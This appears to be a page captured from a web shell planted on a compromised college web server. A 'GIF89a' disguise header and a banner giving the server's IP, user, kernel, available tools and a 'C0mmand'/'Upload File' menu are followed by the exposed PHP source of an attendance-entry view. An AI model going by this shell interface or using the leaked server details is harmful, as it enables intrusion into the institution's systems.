GIF89a;
Server IP : 172.26.0.195 / Your IP : 3.12.148.180 Web Server : Apache System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64 User : jnclnmuac ( 1026) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jnclnmuac/public_html/web/../css/../cas/application/views/admin/academics/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Feed Attendance | College Automation System | <?php echo $this->session->userdata("adminData")["branch_short_name"]; ?></title> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/style.css"); ?>"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/jquery-ui.css"); ?>"> <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Nunito:300,400,600,700,800,900&display=swap"> <link rel="stylesheet" href="<?php echo base_url("assets/admin/css/bootstrap-select.min.css"); ?>" type='text/css'> <link rel="image icon" href="<?php echo base_url("assets/admin/images/logo.png"); ?>"> <script src="<?php echo base_url("assets/admin/js/jquery-1.10.2.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/jquery-ui.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap-popper.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap.min.js"); ?>"></script> <script src="<?php echo base_url("assets/admin/js/bootstrap-select.min.js"); ?>"></script> <script> var csrfHash = ''; </script> </head> <body> <div class="se-pre-con"></div> <section> <?php $this->load->view("admin/navAndHeader"); ?> <div class="main-content"> <div class="container-fluid content-top-gap"> <nav aria-label="breadcrumb"> <ol class="breadcrumb my-breadcrumb"> <li class="breadcrumb-item"><a href="<?php echo site_url("admin/Dashboard"); ?>">Home</a></li> <li class="breadcrumb-item active" aria-current="page">Academics</li> <li class="breadcrumb-item active" aria-current="page"><a href="<?php echo site_url("admin/Attendance/feedAttendance"); ?>">Feed Student Attendance</a></li> </ol> </nav> <section class="forms"> <div class="card card_border py-2 mb-4"> <div class="cards__heading"> <h3><i class="fa fa-plus"></i> Feed Student Attendance</h3> </div> <div class="card-body"> <div class="form-row mb-4"> <div class="col-md-1"> <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/Attendance"); ?>'" tooltip="View Attendance"><i class="fa fa-eye"></i> View Attendance</button><br> </div> <div class="col-md-1"> <button class="btn btn-sm btn-primary" onClick="window.location.href = '<?php echo site_url("admin/Attendance/editAttendance"); ?>'" tooltip="Edit Attendance"><i class="fa fa-edit"></i> Edit Attendance</button><br> </div> </div> <?php if (validation_errors() != false) { ?> <div class="alert alert-danger"> <strong><?php echo validation_errors(); ?></strong> </div> <?php } ?> <?php if ($this->session->flashdata('successMessage')) { ?> <div class="alert alert-success"> <strong><?php echo $this->session->flashdata('successMessage'); ?> </strong> </div> <?php } ?> <?php if ($this->session->flashdata('errorMessage')) { ?> <div class="alert alert-danger"> <strong><?php echo $this->session->flashdata('errorMessage'); ?></strong> </div> <?php } ?> <?php echo form_open(site_url('admin/Attendance/saveAttendance'), ['name' => 'attendanceFrm', 'id' => 'attendanceFrm']); ?> <fieldset> <legend>Session , Subject & Slot Info. </legend> <div class="form-row"> <div class="form-group col-md-2"> <label for="session" class="input__label">Session *</label> <select id="session" name="session" class="custom-select"> <option value="">Select Session</option> <?php foreach ($sessions as $session) { ?> <option <?php if ($session->session_status == "C") echo "selected"; ?> value="<?php echo $session->session_id; ?>" <?php echo set_select("session", $session->session_id); ?>><?php echo stripslashes($session->session_name); ?></option> <?php } ?> </select> </div> <div class="form-group col-md-2"> <label class="input__label">Attendance Date</label> <input type="text" class="form-control <?php if (!$backDateAttendanceFlag) echo "readonly"; ?>" id="attDate" autocomplete="off" name="attDate" value="<?php echo set_value('attDate'); ?>" placeholder="Choose Attendance Date" maxlength="10"> </div> <div class="form-group col-md-2"> <input id="cur" name="cur" class="form-contol" style="margin-top: 38px;" type="checkbox" checked="true"> <label for="cur" class="input__label">Current Date </label> </div> <div class="form-group col-md-3"> <label for="subject" class="input__label">Subject *</label> <select id="subject" name="subject" class="custom-select"> <option value="">Select Subject</option> <?php foreach ($subjects as $subject) { ?> <option value="<?php echo $subject->sta_id; ?>" <?php echo set_select("subject", $subject->sta_id); ?>><?php echo stripslashes($subject->sm_code) . "-" . stripslashes($subject->sm_name) . "-" . stripslashes($subject->sta_id); ?></option> <?php } ?> </select> </div> <div class="form-group col-md-3"> <label for="slot" class="input__label">Slot *</label> <select id="slot" name="slot" class="custom-select"> <option value="">Select Slot</option> </select> </div> </div> </fieldset> <fieldset id="studentList" style="display: none;"> <legend>Student(s) List</legend> <div class="form-row"> <table style="width:100%" class="table table-warning"> <tr> <th>Sr. No</th> <th>Enrl. No.</th> <th>Name</th> <th>Semester</th> <th><input type="radio" id="selectAllPresent" name="selectAll" value="presnt" checked="true"> Present</th> <th><input type="radio" id="selectAllAbsent" name="selectAll" value="absent"> Absent</th> <th>Remarks</th> </tr> <tbody id="studentDetails"></tbody> </table> </div> </fieldset> <span id="spnErr" style="color:#FF0000;font-size:15px;font-weight: bolder;"></span> <input type="hidden" name="stuCount" id="stuCount"> <button id="allotBtn" type="button" class="btn btn-primary btn-block btn-style mt-4" disabled="disabled">Save Attendance</button> <?php echo form_close(); ?> </div> </div> </section> </div> </div> </section> <script> <?php if (sizeof($calendarStatusInfo)) { ?> $("#attDate").datepicker({ dateFormat: "dd/mm/yy", changeMonth: true, changeYear: true, yearRange: '1995:+0', numberOfMonths: 1, minDate: new Date('<?php echo $calendarStatusInfo->sacsm_from; ?>'), maxDate: new Date('<?php echo $calendarStatusInfo->sacsm_to; ?>') }).datepicker('setDate', 'today'); <?php } else { ?> $("#attDate").datepicker({ dateFormat: "dd/mm/yy", maxDate: "+0D" }).datepicker('setDate', 'today'); <?php } ?> $("#subject").on("change", function () { $(".se-pre-con").fadeIn("slow"); if (csrfHash === '') { csrfHash = '<?php echo $this->security->get_csrf_hash(); ?>'; } if ($("#session").val().trim() !== "") { if ($(this).val().trim() !== "") { $.ajax({ url: '<?php echo site_url('admin/Student/getAllStudentAllotedToSubject/'); ?>', data: {subject: $("#subject").val(), session: $("#session").val(), csrf_token: csrfHash}, type: 'POST', success: function (result) { var studentsInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); studentsList = ""; if (studentsInfo.available_students !== 0) { for (var i = 0; i < studentsInfo.student_list.length; i++) { studentsList += "<tr>"; studentsList += "<td>" + (i + 1) + "</td>"; studentsList += "<td>" + studentsInfo.student_list[i].stu_enroll_no + "</td>"; studentsList += "<td>" + studentsInfo.student_list[i].stu_name + "</td>"; studentsList += "<td>" + studentsInfo.student_list[i].stu_semester + "</td>"; studentsList += "<td><input class='present' onClick='makeRemarkDisabled(" + studentsInfo.student_list[i].stu_form_no + ")' type='radio' name='" + studentsInfo.student_list[i].stu_form_no + "' value='P'></td>"; studentsList += "<td><input class='absent remark' onClick='makeRemarkActive(" + studentsInfo.student_list[i].stu_form_no + ")' type='radio' name='" + studentsInfo.student_list[i].stu_form_no + "' value='A'></td>"; studentsList += "<td><input disabled='disabled' class='form-control' id='remark" + studentsInfo.student_list[i].stu_form_no + "' type='text' placeholder='Enter Remarks' name='remark" + studentsInfo.student_list[i].stu_form_no + "'></td>"; studentsList += "</tr>"; } $("#studentDetails").html(studentsList); $("#stuCount").val(studentsInfo.available_students); $("#studentList").css("display", "block"); $(".present").prop('checked', true); $("#allotBtn").prop("disabled", ""); } else { studentsList += "<tr>"; studentsList += "<td colspan='7'>" + studentsInfo.message + "</td>"; studentsList += "</tr>"; $("#stuCount").val(studentsInfo.available_students); $("#studentDetails").html(studentsList); $("#studentList").css("display", "block"); $("#allotBtn").prop("disabled", "disabled"); } csrfHash = studentsInfo.csrfHash; attendanceFrm.csrf_token.value = csrfHash; } }); $.ajax({ url: '<?php echo site_url('admin/Slot/getNonAllocatedSlotsForDropDown/'); ?>', data: {subject: $("#subject").val(), session: $("#session").val(), attDate: $("#attDate").val(), csrf_token: csrfHash}, type: 'POST', success: function (result) { var slotsInfo = JSON.parse(result); $(".se-pre-con").fadeOut("slow"); $("#slot").html(slotsInfo.slot_list); csrfHash = slotsInfo.csrfHash; attendanceFrm.csrf_token.value = csrfHash; } }); } else { $(".se-pre-con").fadeOut("slow"); $("#studentList").css("display", "none"); $("#allotBtn").prop("disabled", "disabled"); } } else { $(".se-pre-con").fadeOut("slow"); alert('Please Select The Session To Continue.'); $("#subject").val(""); $("#session").focus(); } }); $("#selectAllPresent").click(function () { $(".present").prop('checked', $(this).prop('checked')); }); $("#selectAllAbsent").on('click', function () { $(".absent ").prop('checked', $(this).prop('checked')); }); function makeRemarkDisabled(obj) { let remarkID = "remark" + obj; $("#" + remarkID).val(""); $("#" + remarkID).prop("disabled", "disabled"); } function makeRemarkActive(obj) { let remarkID = "remark" + obj; $("#" + remarkID).prop("disabled", ""); } $("#allotBtn").on("click", function () { if ($("#slot").val() === "" || $("#slot").val() === null) { $("#spnErr").html("Please Select Any Slot To Save Attendance"); $("#slot").focus(); } else { $("#spnErr").html(""); $("#attendanceFrm").submit(); } }); $("#cur").click(function () { if ($(this).prop("checked") == true) { $("#attDate").val(('<?php echo date('d/m/Y'); ?>')); $("#attDate").addClass("readonly"); $("#subject").val(""); $("#slot").val(""); } else if ($(this).prop("checked") == false) { $("#attDate").val(""); <?php if ($backDateAttendanceFlag) { ?> $("#attDate").removeClass("readonly"); $("#attDate").focus(); $("#subject").val(""); $("#slot").val(""); <?php } ?> } }); $(document).ready(function () { <?php if (!$backDateAttendanceFlag) { ?> $("#cur").addClass("readonly"); <?php } ?> if ($("#cur").prop("checked") == true) { $("#attDate").val(('<?php echo date('d/m/Y'); ?>')); $("#attDate").addClass("readonly"); } }); </script> <?php $this->load->view("admin/footer"); ?> </body> </html>